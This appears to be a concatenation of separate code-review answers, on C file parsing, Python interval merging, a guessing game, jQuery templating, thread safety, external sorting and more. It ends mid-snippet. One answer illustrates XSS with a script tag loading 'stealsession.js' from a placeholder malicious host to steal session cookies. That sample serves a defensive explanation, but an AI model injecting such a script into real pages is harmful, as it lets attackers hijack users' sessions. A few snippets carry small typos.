My solution for Advent of Code 2020, Day 4, in C

Split your program into multiple functions
You can improve the readability and maintainability of your program greatly by splitting it into multiple functions that each do a simple, well-defined task. For example, you can reduce main() to:
int main()
{
    FILE* f = fopen("../input.txt", "r");
    int numberOfValidPassports = countValidPassports(f);
    fclose(f);
    printf("Number of valid passports: %d", numberOfValidPassports);
};

So the only responsibility of main() is now the I/O: reading the file, and writing the result to stdout. The function countValidPassports() now has to do the same as the original main(), but it doesn't have to worry about I/O anymore. Of course, this new countValidPassport() function can itself be split into multiple functions.
Check for errors while reading from an open file
You only added a check to ensure the file was opened correctly, however there can also be errors while reading the file. It is good practice to check for those as well, and to report them properly by printing an error message (to stderr) and by exitting the program with a non-zero exit code.
If a read error would occur, your code would enter an infinite loop, since you used feof() to check for the end of the file. If there is a read error before the end of the file, feof() will not return true. In general, avoid a while(!feof(...)) loop. Just check the result from an actual read operation to check whether it succeeded:
while ((c = fgetc(f)) != EOF) {
    ...
}

The fgetc() function will return EOF when it cannot read a character, either because there was a read error or because the end of file was reached.
Avoid making too many assumptions about the input
Your code makes a lot of assumptions of what the input looks like. For example, you assume that keys are always 3 characters long, and that the values are at most 20 characters long. You also assume that the only possible keys are valid passport keys. But what if you get this line in the input?
this:isaverylongkeyandvaluepair

This would cause you to write pas the end of the value arrays. Even if there is no buffer overflow issue, consider the following input:
eyr:1 iyr:2 byr:3 byr:4 byr:5 byr:6 byr:7 byr:8

You would count this as a valid passport, but it has several issues:

Not all seven required fields are present
Some fields are repeated (is that allowed?)
The expiration year is earlier than the issue year
The issue year is earlier than the birth year

Perhaps not all things need to be validated by your program, after all the task is only to check if all the required fields are present. It also doesn't mention whether any other key besides the eight mentioned in the task are allowed. But for sure you should check whether all seven required fields are present.
Don't store data unnecessarily
While you are parsing, you are storing copies of the keys and values you found in the array passports. But nothing in that array is used in the end, you only need to print the number of valid passports. So it is just a waste of memory. The only thing you have to remember is, for the current passport you are parsing, which keys you have seen so far. Once you have finished parsing a single passport, you can immediately decide whether it is valid or not, and increment numberOfValidPassports if valid.
This also solves the potential issue you have if the input contains more than 1000 passports.
Using fscanf() or fgets()
Indeed, it is good to consider using fscanf() or fgets() when parsing a file. Your current method of parsing it character by character is somewhat inefficient. Ideally, you would write something like:
while (...) {
    char key[...];
    char value[...];

    if (fscanf(f, " %[^: \n]:%s", key, value) == 2) {
        // we read a valid key:value pair
        ...

    }
}

In the format string " %[^: \n]:%s", there first is a space which will "eat" all the leading whitespace, then we match a string that can contain any character except a colon, space or newline. Then it expects a colon, and after that anything until the next whitespace.
However, it is impossible to distinguish whitespace separating key:value pairs from empty lines separating passports this way. So instead you can use fgets() to read in whole lines. It is easy to check if a line is empty, and if so you know it separated two passports. If there is anything in it, you can use sscanf() to parse it, like so:
char line[...];
while (fgets(line, sizeof line, f)) {
    if (/* check for empty line */) {
        // Passport separator
        ...
    } else {
        // Scan this line for key:value pairs
        char key[...];
        char value[...];
        char *start = line;
        int n;

        while (sscanf(start, " %[^: \n]:%s%n", key, value, &n) == 2) {
             // we read a valid key:value pair
             ...
             start += n;
        }
    }
}

The trick here is using %n to check how many characters the key:value pair was, so we can skip it for the next call to sscanf().
However: be aware of possible buffer overflows. There are several ways to deal with them, either use field width specifiers in the format string to tell sscanf() to not read more characters than your buffer is long, or if you can use POSIX extensions, consider using %ms to have sscanf() allocate a large enough buffer for the string for you. Since you don't care about the values, you can avoid storing them by using assignment-suppression: %*s. Read the documentation for sscanf() to see all its possibilities.


Given 2 disjoint sets of intervals, find the intersections

borrowing for Oscar Smith's solution

If the intervalsX are ordered, you can simply use:

def return_intersections(intervals1, intervals2):
    iter1 = iter(intervals1)
    iter2 = iter(intervals2)

    interval1 = next(iter1)
    interval2 = next(iter2)

    while True:
        intersection = getIntersection(interval1, interval2)
        if intersection:
            yield intersection
            try:
                if intersection[1] == interval1[1]:
                    interval1 = next(iter1)
                else:
                    interval2 = next(iter2)
            except StopIteration:
                return

        try:
            while interval1[0] > interval2[1]:
                interval2 = next(iter2)
            while interval2[0] > interval1[1]:
                interval1 = next(iter1)
        except StopIteration:
            return

list(return_intersections(set1, set2))

[(2, 5), (10, 13)]

in Python pre-3.5 all the try-except boilerplate wouldn't be necessary, but pep-476 changed this.

The advantage of this is that it works for any stream of ordered intervals. So intervalsX can be a generator, list, tuple,...


String contains non-overlapping letter pairs

You could use a map to store the pairs with their first occurrence while iterating over the pairs. Break if the current pair was already found at a position less than the current position minus 1.

def has_non_overlapping_pair(string) do
  0..String.length(string) - 2
  |> Enum.reduce_while(%{}, fn n, m ->
    pair = String.slice(string, n, 2)
    pos  = Map.get(m, pair, n)
    cond do
      pos == n     -> {:cont, Map.put(m, pair, n)}
      pos == n - 1 -> {:cont, m}
      true         -> {:halt, true}
    end
  end) == true
end


Number-guessing game, for numbers between 0 and 99

This seems pretty straightforward and is readable. The variable names are pretty good. I'd change the following things.

Use Functions for Clarity

Speaking of functions, I recommend thinking about the problem you're solving as a set of steps, and then putting each step into its own function. In this case, there are several steps that need to occur:

Generate the number to be guessed
Prompt the user for their guess
Check their guess
If it was correct, tell them and exit
Otherwise, tell them what was wrong
Repeat steps 2-6

So you could write a function for most of those things:

int generateRandomNumber (int low, int high)
{
    int range = high - low + 1;
    int randomNum = low + rand() % range;
    return randomNum;
}

int promptUserForGuess(const char* prompt)
{
    printf(prompt);
    int guess = 0;
    scanf("%d", &guess);
    return guess;
}

typedef enum {
    ERR_NONE,
    ERR_TOO_LOW,
    ERR_TOO_HIGH,
    ERR_OUT_OF_RANGE
} GuessError;

GuessError checkGuess(int target, int low, int high, int guess)
{
    GuessError result = ERR_NONE;

    if ((guess < low) || (guess > high))
    {
        result = ERR_OUT_OF_RANGE;
    }
    else if (guess < target)
    {
        result = ERR_TOO_LOW;
    }
    else if (guess > target)
    {
        result = ERR_TO_HIGH;
    }

    return result;
}

void displayErrorOrSuccess(GuessError err, int low, int high, int guess)
{
    switch (err)
    {
        case ERR_NONE:
            printf ("You win\n");
        break;

        case ERR_TOO_LOW:
            printf ("%d is too low. Guess between %d and %d\n", guess, guess, high);
        break;

        case ERR_TOO_HIGH:
            printf ("%d is too high. Guess between %d and %d\n", guess, low, guess);
        break;

        case ERR_OUT_OF_RANGE:
            printf ("%d is out of range. Enter a guess between %d and %d\n", guess, low, high);
        break;
    }
}

Then your main() function becomes really simple and easy to read:

int main () {
    srand((unsigned)time((time_t*)NULL));
    int rannum = generateRandomNumber(1, 99);

    GuessError err = ERR_NONE;
    do {
        int guess = promptUserForGuess("Enter a guess:\n");
        err = checkGuess(rannum, 1, 99, guess);
        displayErrorOrSuccess(err, 1, 99, guess);
    } while (err != ERR_NONE);
}

Avoid Magic Numbers

I notice in your code that you have the value 99 written several times. What happens if you want to change the range of the random number? You'll have to update it each place it occurs in the code. We call bare numbers like these "magic numbers" because it's impossible to tell what they mean when reading the code. I recommend making some constants like this:

const int MIN_RANDOM_NUM = 1;
const int MAX_RANDOM_NUM = 99;

Then in your code you would use the named constants instead of the bare numbers. It immediately becomes obvious what they mean.

Bugs

There are a number of bugs in your original version. You're deciding whether to continue or not based on whether the guess is out of range or not. If the user enters a guess out of range, the program stops before it can tell the user what the problem is. You should be basing whether to stop or not on whether the user has guessed correctly. If the value is out of range, tell them that and have them enter a new guess.

Also, if they enter a value in range, it stops and waits for input a second time with no prompt. I think you meant for the first call to scanf() inside the while loop to be inside the first if. In fact, all of the calls to scanf() in the while loop should be inside the corresponding if statements.

You never set max1 and min2 to any useful values. So it always tells the user to enter a guess between 0 and 0. It would be best if they started out as max1 set to 99 and min2 set to 1, and then you updated them based on the value of the guess. For example if the user enters 5 and it's too low, the new minimum should be 5 for the next go round.


Note that uniq is not in-place, uniq! is. Otherwise, I guess your code is pretty good if you like imperative style (maybe some unnecessary comments could be removed, though). Personally, I prefer a functional approach: less statements, more expressions. If you open a console and play with the input data, applying transformations, you'll see it's not as difficult as it would seem at first. In this case I'd write:

goals_cmp_to_points = {-1 => 0, 0 => 1, 1 => 3}
team_results = match_results.flat_map do |result|
  [[:home, :away], [:away, :home]].map do |side1, side2|
    goals_cmp = result[:"#{side1}_score"] <=> result[:"#{side2}_score"]
    {
      :team => result[:"#{side1}_team"],
      :goals => result[:"#{side1}_score"],
      :points => goals_cmp_to_points[goals_cmp],
    }
  end
end

#[{:team=>"Honduras", :goals=>0, :points=>0},
# {:team=>"Chile", :goals=>1, :points=>3},
# [...]
# {:team=>"Switzerland", :goals=>0, :points=>1}]

table = team_results.group_by { |r| r[:team] }.map do |team, results_for_team|
  {
    :team => team,
    :total_goals => results_for_team.map { |r| r[:goals] }.reduce(0, :+),
    :total_points => results_for_team.map { |r| r[:points] }.reduce(0, :+),
  }
end
sorted_table = table.sort_by { |tr| tr.values_at(:total_points, :total_goals) }.reverse

#[{:team=>"Spain", :total_goals=>4, :total_points=>6},
# {:team=>"Chile", :total_goals=>3, :total_points=>6},
# {:team=>"Switzerland", :total_goals=>1, :total_points=>4},
# {:team=>"Honduras", :total_goals=>0, :total_points=>1}]


Removing all delegates from an event dispatcher

Delegate.RemoveAll has no effect on existing delegates. It actually constructs a new one. Delegates are immutable and cannot be changed after construction.

You can remove this line. I would not implement IDisposable or any cleanup code here at all. Just release reference on event dispatcher (it makes sense to do it anyway after calling Dispose().


Randomly select + place an image within a div

Yes, I love using functions to make code more readable.

First lets get rid of your jQeury, simply replace $(document) with document.body.clientWidth.

Lets create a function to get an image.

function getImage(src, top, left) {
  var imgElement = document.createElement("img");
  imgElement.src = src;
  imgElement.style.top = top + 'px';
  imgElement.style.left = left + 'px';
  imgElement.style.position = 'absolute';
  imgElement.style.opacity = '.3';

  return imgElement;
}

Notice we are creating a new image element, not modifying an existing one.  This has two advantages:

Avoid slow dom minipulaiton
Call multiple times to add multiple images.

Now lets use this function in random picture function

function randomPicture() {
  var randomIndex =  Math.floor((image.length) * Math.random());
  var left_position = (Math.random() * maxWidth).toFixed();
  //Assume you wanted height and not width
  var top_position = (Math.random() * maxHeight).toFixed();
  var imgEl = getImage(image[randomIndex], top_position, left_position);
  contentEl.appendChild(imgEl);
}

Notice we use appendChild

Other suggestions:

Avoid magic numbers, use constants
Avoid variable hoisting
Use meaningful variable names
Simplify calculations with constants

var MAX_IMAGE_WIDTH = 500; // repalce magic number with const
var MAX_IMAGE_HEIGHT = 350;   // repalce magic number with const
var docWidth = document.body.clientWidth;  //replace $(document).width()
var docHeight = document.body.clientHeight || 500;  //Note: document.body.clientHeight returns 0 in this envorment, in browser will be actaul height, setting defalult value of 500
// prevent negitve values that could place your image off screen
var maxWidth = Math.max(0, docWidth - MAX_IMAGE_WIDTH);
var maxHeight = Math.max(0, docHeight - MAX_IMAGE_HEIGHT);
var contentEl = document.getElementById('content');
var image = [ //set innital values and prevent variable hoisiting
  "https://via.placeholder.com/350x150",
  "https://via.placeholder.com/150x150",
  "https://via.placeholder.com/150x350",
  "https://via.placeholder.com/500x150"
];

function getImage(src, top, left) {
  var imgElement = document.createElement("img");
  imgElement.src = src;
  imgElement.style.top = top + 'px';
  imgElement.style.left = left + 'px';
  imgElement.style.position = 'absolute';
  imgElement.style.opacity = '.3';

  return imgElement;
}

function randomPicture() {
  var randomIndex =  Math.floor((image.length) * Math.random());
  var left_position = (Math.random() * maxWidth).toFixed();
  //Assume you wanted height and not width
  var top_position = (Math.random() * maxHeight).toFixed();
  var imgEl = getImage(image[randomIndex], top_position, left_position);
  contentEl.appendChild(imgEl);
}

randomPicture();
randomPicture();
randomPicture();
.left {
  width: 14%;
}

.right {
  width: 84%;
  border-left: none !important;
  overflow: hidden;
}

.left,
.right {
  display: block;
  float: left;
  border: 1px solid #000;
  margin: 0;
  height: 500px;
}

.content-body {
  position: relative;
}

#frame {
  display: block;
  position: absolute;
  top: 0;
  left: 0;
  height: 100vh;
  width: 100%;
}

#random {
  opacity: .3;
}

.content {
  padding: 30px 40px;
  overflow: scroll;
  display: block;
}

h1 {
  font-size: 90px;
  padding: 0;
  margin: 0;
}

h2 {
  margin: 3px 0;
}

Home

Inspo

Shop

Challenger

This is the race.

On my mark...

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin aliquet pharetra pharetra. Aliquam mauris leo, blandit vitae vulputate sit amet, imperdiet non magna. Pellentesque gravida gravida dapibus. Vivamus augue neque, dignissim sed bibendum
        non, malesuada sed orci. Nam turpis mi, dictum ac ullamcorper sit amet, ornare nec sapien. Pellentesque at nibh vel lectus porta sodales. Vestibulum malesuada, urna a egestas iaculis, velit neque vehicula nunc, quis tincidunt libero est eget arcu.
        Phasellus in nisl lectus. Curabitur tellus elit, lobortis eget viverra non, tempor eu quam. Duis facilisis dictum nulla, sit amet aliquet augue viverra eget. Curabitur elit tellus, luctus ac pretium et, tristique at enim.

 Morbi gravida vel orci et fringilla. Vestibulum id lorem vel ipsum tincidunt vehicula gravida eget ipsum. Donec feugiat nisl arcu, non consectetur lacus porttitor ac. Morbi et quam et risus suscipit maximus sit amet eu quam. Aliquam non felis dictum,
        porta dolor quis, suscipit nisl. Suspendisse id nulla et odio rutrum convallis. Pellentesque consequat quis ante id sodales. Nam porttitor nulla velit, non sodales diam dignissim ac.

 Sed quis pretium purus, sed tempor arcu. Duis non sapien sed sem posuere dignissim. Sed id dui ipsum. Nam aliquam, arcu at lacinia scelerisque, justo dui tristique odio, et sodales lorem ante in enim. Orci varius natoque penatibus et magnis dis
        parturient montes, nascetur ridiculus mus. Morbi dictum varius quam a congue. Nulla ornare elit quis ante ullamcorper, vitae vestibulum nunc condimentum. Sed dignissim erat vel lacus pulvinar, sit amet maximus lectus varius. Vestibulum ante ipsum
        primis in faucibus orci luctus et ultrices posuere cubilia Curae; Phasellus convallis, turpis ut molestie ultricies, lacus enim convallis mi, quis mollis arcu est vitae mauris. Donec quis tortor eu elit aliquam tincidunt. Sed vel sollicitudin
        justo.

References:

Keep DOM access to a minimum
createElement()
how-to-get-document-height-and-width-without-using-jquery


Since testing falls under the general heading of code review, I'm just going to review your testing strategy.

The question says:

  your function should be able to work with any list value passed to it.

but you are not testing this; you're only testing the single example that was given to you (and which, as it happens, you've hard-coded into your function).  Here's how you could test it:

print(sentence(['eggs', 'bacon', 'spam', 'bacon']))

Does this print the string eggs, bacon, spam, and bacon?  If not, why?  (Try to understand the bug before you fix it -- don't just change things randomly until it works!)

An even better test would be:

assert sentence(spam) == "apples, bananas, tofu, and cats"
assert sentence(['eggs', 'bacon', 'spam', 'bacon']) == "eggs, bacon, spam, and bacon"

Add this to your program, and then fix the sentence function so that neither line of code causes your program to fail.  This is called "test driven development" -- write the test first that says how you want the function to work, then write the function until the test passes!


That code is full of security holes. Completely avoid .html, create elements programmatically, not as strings of html text. Use .text to set the visible text of elements securely.

What happens if data.user.assigned has this value:

<script src="//malicious.host.c0m/stealsession.js"></script>Visible Text

Then every user that views that page will load and run the malicious script and send their session cookie to the attacker, who can then impersonate you, because they have your session secret. The user will not be notified at all, they see "Visible Text"

You should not repeat yourself so much. You should create an element, and clone that off for each similar duplication of it. This way, you can just set those common attributes once and create copies of it efficiently.

You have everything named very nicely, you can leverage that and make it table driven:

See jsfiddle

$(function() {
  function createIcons(data, scope, names) {
    var template = $('<i/>', {
      'data-tooltip': '',
      'aria-haspopup': 'true',
      'class': "fa",
      'aria-hidden': "true"
    });

    names.forEach(function(descriptor) {
      var parent = scope.find(descriptor.sel),
          userVal = data.user[descriptor.prop],
          teamAvg = data.team_avg[descriptor.prop];
      parent.text(userVal);
      makeUpDownIcon(parent, template.clone(),
                     userVal, teamAvg);
    });
  }

  function makeUpDownIcon(outputParent, element, input, compareTo) {
    var title, classes;
    if (input > compareTo) {
      title = 'Above Team Avg';
      classes = 'fa-arrow-up above-avg';
    } else if (input === compareTo) {
      title = 'Equals Team Average';
      classes = 'neutral';
    } else {
      title = 'Below Team Avg';
      classes = 'fa-arrow-down below-avg';
    }

    return (element.attr('title', title)
            .addClass(classes)
            .appendTo(outputParent));
  }

  //faked $.post("{{ route('task.load') }}", { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {
  var data = {
    user: {
      assigned: 11,
      in_progress: 10,
      in_review: 3,
      overdue: 44
    },
    team_avg: {
      assigned: 6,
      in_progress: 24,
      in_review: 2,
      overdue: 1
    }
  };

  $task_summary = $('.taskload-stats');

  createIcons(data, $task_summary, [
    { sel: '.assigned', prop: 'assigned' },
    { sel: '.in-progress', prop: 'in_progress' },
    { sel: '.in-review', prop: 'in_review' },
    { sel: '.overdue', prop: 'overdue' }
  ]);

  //$(document).foundation('tooltip', 'reflow');
});

Note that I forced in fake data because I cannot do the real ajax request on jsfiddle. I had to rip out that foundation thing to make it runnable too. You should have no trouble modifying that second part to actually use the post.

EDIT:

If you wanted to have a more complex template, say, a span with text and icon then you could do something a bit like this:

  function createIcons(data, scope, names) {
      var template = $('<div/>'),
          caption = $('<span/>', {
              'data-tooltip': '',
              'aria-haspopup': 'true',
              'class': '',
              'aria-hidden': 'true',
              appendTo: template
          }),
          icon = $('<i/>', {
              appendTo: template
          });

Then before each clone, you can reach into the template and do  caption.text(something) and icon.attr('class', 'fa fa-something'), then clone, then the clone will already be set, and no need to go .find into it.

Note that .text blows away all of the content of the node, so I restructured it so .text wont kill the icon.


Counting the frequency of letters in a string slices

Rewriting your code with Caridorc's suggestions gets me something like

input_str = input()

iterations = int(input())
for _ in range(iterations):
    try:
        character, start, end = input().split()
    except ValueError:
        raise ValueError("Need exactly three items (character, start, end)")

    start, end = int(start), int(end)
    print(input_str[start-1:end].count(character))

Note that you should probably put this in a main method.

The slowest part is going to involve the inner iteration; namely

    try:
        character, start, end = input().split()
    except ValueError:
        raise ValueError("Need exactly three items (character, start, end)")

    start, end = int(start), int(end)
    print(input_str[start-1:end].count(character))

Getting input can't get much faster, I'd assume, so this line to blame is

    print(input_str[start-1:end].count(character))

If start-1 and end are wildly different (they can be up to \$10^6-1\$ different) then this will take a long time. For a maximum of \$10^6\$ iterations, this could take a while.

What you should do instead is pre-process the string so you can quickly do

    print(number_between(start, end, letter))

How? One way is to build cumulative lists, such as

string:  a  b  c  b  a  c  b  a  b  a
     a:  1  1  1  1  2  2  2  3  3  4
     b:  0  1  1  2  2  2  3  3  4  4
     c:  0  0  1  1  1  2  2  2  2  2

That way you can quickly it calculate with

def number_between(start, end, letter):
    return counts[letter][end] - count[letter][start-1]

This initial generation might take a long time, though, as you need to generate a list for every possible letter - and there are a lot of those. If you only generate a list for which there is a letter in the string, you've improved your worst case but you're still generating a large square. This could be expensive.

One other option is to store indexes:

string:  a  b  c  b  a  c  b  a  b  a
     a:  0           4        7     9  =  [0, 4, 7, 9]
     b:     1     3        6     8     =  [1, 3, 6, 8]
     c:        2        5              =  [2, 5]

Then you can do a binary search on the list to find the number of instances before an index, and do

def number_between(start, end, letter):
    number_before_end = ... # binary search
    number_before_start = ... # binary search

    return number_before_end - number_before_start

Depending on how much startup costs affect you, this could either be better or worse than the original strategy.

I'll stick with the second of these, since it's less problematic in the face of Unicode. The test suite seems to ignore anything but lowercase ASCII, but I'm not willing to make such a horrible assumption.

So, first we want a bunch of lists indexed by character. This will be easiest as a defaultdict(list), since they all start out empty:

indices = defaultdict(list)

Then we want to go over the characters in the string and add the respective indices to the particular list:

for i, character in enumerate(input_string):
    indices[character].append(i)

We want to do a binary search to find the counts. This is just bisect_right and bisect_left, depending on whether you want to be inclusive:

def number_between(start, end, counts):
    number_before_start = bisect_left(counts, start)
    number_before_end = bisect_right(counts, end)

    return number_before_end - number_before_start

Now all that's needed is input, giving:

from bisect import bisect_left, bisect_right
from collections import defaultdict

def preprocess(input_string):
    indices = defaultdict(list)

    for i, character in enumerate(input_string):
        indices[character].append(i)

    return indices

def number_between(start, end, counts):
    return bisect_right(counts, end) - bisect_left(counts, start)

def main():
    indices = preprocess(input())

    for _ in range(int(input())):
        try:
            character, start, end = input().split()
        except ValueError:
            raise ValueError("Need exactly three items (character, start, end)")

        # Change to 0-based indexing
        start, end = int(start) - 1, int(end) - 1

        print(number_between(start, end, indices[character]))

main()


Will this actually be thread safe?

Yes, I think it will.  All access to the _stack field is protected by a lock, so I do not see why this wouldn't be thread safe.

A nice coincidence of using immutable lists is that you can also nicely implement IEnumerable<'T> or even just return the list of all elements currently in the stack - because the data type is immutable, it can be safely shared with other threads (this means, you won't get into the usual troubles with "Collection was modified; enumeration operation cannot continue" that you'd get in C#.

  Are the locks necessary?

I think so. Without the lock, one thread could start evaluating Push by evaluating value::_stack, then another thread could modify _stack and the original thread would then overwrite _stack with the old value of value::_stack (and so the effect of the other thread would be lost!)

  Is there an immutable way to do the same thing? I don't think one can use the traditional immutable method here of having the Push/Pop return a new stack instance because different clients will see divergent views of the stack.

If the idea is to have multiple threads sharing the state, then they'll need some way of sharing & mutating the state. Another approach in F# would be to use an agent and keep the current _stack as a parameter of the asynchronous loop - in that case, you're not using mutation in the F# code you write (but there is hidden mutation and synchronization going on in the agent).

Logically, the agent-based version is quite similar to the one you have using locks - it might be a bit nicer for other reasons (getting locks right is hard, agents do not make it possible to do the same kinds of errors), but that really depends on what you want to illustrate!


Python 3 simple external sort with heapq

Nit: running isort would organize your imports,
to reduce git merge conflicts.
The split_large_file() signature might default my_temp_dir.
Consider renaming it to simply temp_dir.
For compatibility with /usr/bin/sort, os.environ['TMPDIR'] would be a fair default.
Consider renaming starting_file to in_file (or input_file).
Docstrings start with an English sentence, e.g. "Splits a file into pieces."
If the intent is "...into sorted pieces," then say so,
and make the function name match.
Splitting a file is by itself a valuable service, even without sorting.
Please say "a list of" rather than "a list with all".
It appears liste_file has a typo, plus it should simply be files.
Simplify line_holder to lines.
algorithm

line budget vs RAM budget
chunking
loop style

You impose a million-line max on each piece.
But the true goal was to cap RAM consumption,
which is indirectly related through the average chars-per-line
for a given input file.
Consider adding up line lengths
rather than incrementing by one for each line.
Related to this, the line-by-line iteration is on the slow side,
especially for input files comprised of short lines.
Consider doing one or more binary .read()'s,
and then reading until newline so only complete lines go to the outfile.
(Or scan backwards through the chunk to find a newline,
then seek() to that position before issuing the next read.)
The if line_holder: line is a code smell,
it suggests that you didn't quite find a form of while loop
that matched your application.
Perhaps a boolean done flag would help to
remove the copy-n-pasted 2nd chunk of code.
If for some reason you feel it still needs to remain,
then definitely extract both copies into a small helper method.
DRY: https://en.wikipedia.org/wiki/Don%27t_repeat_yourself
This is correct, but weird:
            if cpt % max_line == 0:
                cpt = 0

If line number cpt (don't know what that stands for) hits limit,
we reset the line number and emit a chunk.
Computing modulo % is more expensive than a comparison >.
Usually modulo would be used if we're not going to reset the line number.
Three comments about the lambda:

This is the first we've heard about the input file being a .tsv. Improve the docstring.
The lambda is fine, but consider breaking it out as a named function.
The .split() copies out the entire line, but it only needs to copy as far as first TAB.

We evaluate merged() for side effects,
so we're looking for a verb name rather than an adjective.
Just call it merge(), or perhaps external_merge().
Consider defaulting col=0 in the signature.
Each docstring should start with an English sentence.
The comment "being minimal the script will fail if one column is shorter than this value" is accurate.
But, better to rewrite as a pre-condition on valid inputs:
"must exist in each input row."
    my_heap = []

Yes, it is your heap.
But that's not what is interesting about it.
Better to just call it heap.
    for elem in liste_file:

This would more naturally be: for file in files:
You used a hardcoded column zero in split_large_file(),
but now you are apparently processing unsorted input
since col might be positive.
Please assign sentinel = sys.maxsize,
if that is how you're trying to use it.
Or at least add a comment.
(It is 0x7FFFFFFFFFFFFFFF, is that what you want?)
The break apparently should be raising a fatal exception instead,
since the input file apparently is not allowed to contain that sentinel
(not allowed to contain arbitrary contents).
The references to minimal[0], [1], and [2] are obscure.
Please use tuple unpack to put them in val, line, file_temp
or similarly informative variables.
The early explicit .remove() is fine.
If you had specified delete=True (or let it default)
the temp files would be deleted when the interpreter does a normal exit.
Depending on platform, defaulting tmp_dir to something like /tmp
might be more appropriate than to CWD (which might be unwritable).
Overall, looks pretty good, pretty readable.
One can always improve.


There's something fishy here. You're creating an array, but you're not using it as one. You're simply adding named properties to it, like you can with any object. In the end, you're left with an array that still has a length of zero. So I'm betting you don't actually want an array at all.

And in that case, I'd rewrite it to this

buildIndex = (source, property) ->
  obj = {}
  obj[prop[property]] = prop for prop in source
  obj

No more array-nonsense. However, if this is indeed what you're going for, then that's pretty much it. I agree it doesn't look particularly elegant, but it's about as good as it gets with basic CoffeeScript.

However, you could use reduce, if you're targeting browsers that support it (or Node.js):

buildIndex = (source, property) ->
  source.reduce (obj, item) ->
    obj[item[property]] = item
    obj
  , {}

but as you can see, the callback-first style of reduce means you end up with a dangling comma and argument instead, which isn't terribly neat either.

Alternatively, if you're using something like underscore.js, you can use a groupBy function to do this for you

buildIndex = (source, property) ->
  _.groupBy source, (item) -> item[property]

Looks better, although it's merely hiding the same code as above.


We can use the fact that in the ordered sequence of cards the cards that match your requirement will be located at the beginning of sequence, and their rank will match their position:

var count = _cards.Where(card => card.Suit == Suit.Spades)
    .Select(card => (int)card.Rank) //we only need the rank
    .Distinct() //ignoring multiple cards with the same rank
    .OrderBy(rank => rank) //sorting by rank
    .TakeWhile((rank, index) => rank == index) //taking all initial cards with index matching their rank
    .Count();

return count < 3 ? 0 : count;

Note that your code will perform better than this one (you'll notice that only if you run it thousands times a second) since you're using the fact that there are only 10 sequential values present in Rank.


It would be nice to see more of the code since one, five, plus and minus give NullPointerException

public void actionPerformed(ActionEvent event) {
      int value = five.isSelected() ? 5 : 1;
      if (event.getSource().equals(plus)) {
                count += value;
      } else if (event.getSource().equals(minus)) {
                count -= value;
      }
      label.setText(Integer.toString(count));
}

Since you only have 2 RadioButton, that would mean that the value could only be two values, either 5 or 1. This can be done by line two, you are asking if five.isSelected(), if(five.isSelected()) { return 5; } else { return 1; }. Also there is no need to say five.isSelected() == true, because the if already asks if it is true so five.isSelected() is sufficient.

Now you dont need to plus/minus with 5 or 1, but only check plus or minus.

And you set the text each time count has changed, so this can just be done after the if.


Calculate Hamming distance between DNA sequences in Ruby

1) Start using Rubocop gem.

2) Prefer guard clauses & stop execution early in a method. (Also, added 2 more conditions.):

raise ArgumentError unless original.length == copy.length
return 0 if original.empty? && copy.empty?
return 0 if original == copy

3) I would prefer Ruby's #char over #each_char in this case:

original = original.chars
copy     = copy.chars

4) I would prefer Ruby's #zip & #count over #with_index to have a better readability:

strands1.zip(strands2).count { |a, b| a != b }

At the end, it would look something like this:

class Hamming
  def self.compute(strand1, strand2)
    # Error handling and edge cases
    raise ArgumentError unless strand1.length == strand2.length
    return 0 if strand1.empty? && strand2.empty?
    return 0 if strand1 == strand2

    strands1, strands2 = strand1.chars, strand2.chars
    # Merge elements of two arrays and compare arrays of array.
    strands1.zip(strands2).count { |a, b| a != b }
  end
end


Yes, what you are doing is a problem. List is not thread-safe and adding items from multiple threads can lead to data corruption (for example individual elements overwriting each other).

You said that you don't care about the order of items inserted quickest fix is to use ConcurrentBag

Another option is to the PLINQ extensions and use the Select extension of the ParallelQuery. The code would look like this:

return itemFuncs.AsParallel().SelectMany(f => f(paramValue)).ToList();


What are best practices for writing conditional statements?

Extract repeated code into separate methods.
Use == to compare values, C# is not Java, most of the time, you don't need Equals(). And in the case of bools, you don't need to compare them at all.
Don't forget to handle invalid input.
It's probably better to use string.Empty instead of "", to make it clear that you didn't just forget to fill the right value in and you really meant the empty string.
Consider not using braces everywhere. It can make your code more readable.

(This code assumes all variables are fields; if that's not suitable to you, you will need to add some parameters and return values to the methods.)

void MultiplyOrDidide(bool multiply)
{
    if (multiply)
        currentNumberDouble = multiplyNumbers(currentNumberString, temporaryNumberString);
    else
        currentNumberDouble = divideNumbers(temporaryNumberString, currentNumberString);

    if (operatorOnHold == '+')
        total += currentNumberDouble;
    else if (operatorOnHold == '-')
        total -= currentNumberDouble;
    else
        total = currentNumberDouble;

    flagMultiplyDivide = false;
}

void AddOrSubtract(bool add)
{
    double current = Convert.ToDouble(currentNumberString);
    double onHold = 0;
    if (numberOnHold != string.Empty)
        onHold = Convert.ToDouble(numberOnHold);

    if (add)
        total += current + onHold;
    else
        total -= current - onHold;
}

…

if (flagMultiplyDivide)
{
    if (currentOperator == '*')
        MultiplyOrDidide(multiply: true);
    else if (currentOperator == '/')
        MultiplyOrDidide(multiply: false);
    else
        throw new InvalidOperationException();
}
else if (currentOperator == '+')
{
    AddOrSubtract(add: true);
}
else if (currentOperator == '-')
{
    AddOrSubtract(add: false);
}
else
{
    throw new InvalidOperationException();
}

return total;

Also, the code around - (and +) seems suspicious to me. Shouldn't you check operatorOnHold there too?


There's a lot of waste in this method.  You're copying things to idList, only to clear them.  You're creating idList, only to copy it to result.

Try this:

public static Collection<AccessRuleTemplate> getCaRules(String roleName, Collection<Integer> currentcas) {
    List<AccessRuleTemplate> carules = new ArrayList<>();
    if (currentcas.contains(Integer.valueOf(BasicAccessRuleSet.CA_ALL))) {
        carules.add(new AccessRuleTemplate(StandardRules.CAACCESSBASE.resource(), AccessRuleState.RULE_ACCEPT, true));
    } else {
        for (Integer caId : currentcas) {
            carules.add(new AccessRuleTemplate(StandardRules.CAACCESS.resource() + caId.toString(), AccessRuleState.RULE_ACCEPT, false));
        }
    }
    return carules;
}

So, in the case where the item is found, there's a big savings - you don't create a bunch of objects and discard them.
In the case where the item is not found, there's a very slight increase in time to traverse the list twice.
In both cases, the copying between lists is eliminated, making this much more efficient (and readable).

I'd also recommend that for the "found" case, you pre-create a static, immutable, singleton list which you can directly return each time.

private static final Collection<AccessRuleTemplate> BASE_ACCESS_TEMPLATE
        = Collections.singletonList(new AccessRuleTemplate(StandardRules.CAACCESSBASE.resource(), AccessRuleState.RULE_ACCEPT, true));

Also "roleName" is unused.  I'm guessing it was only used in logging which was stripped out.

Finally, though you could use a lambda function for the conversion loop, I think the code above is simpler.  If you really want to, it would look something like:

return currentcas.stream()
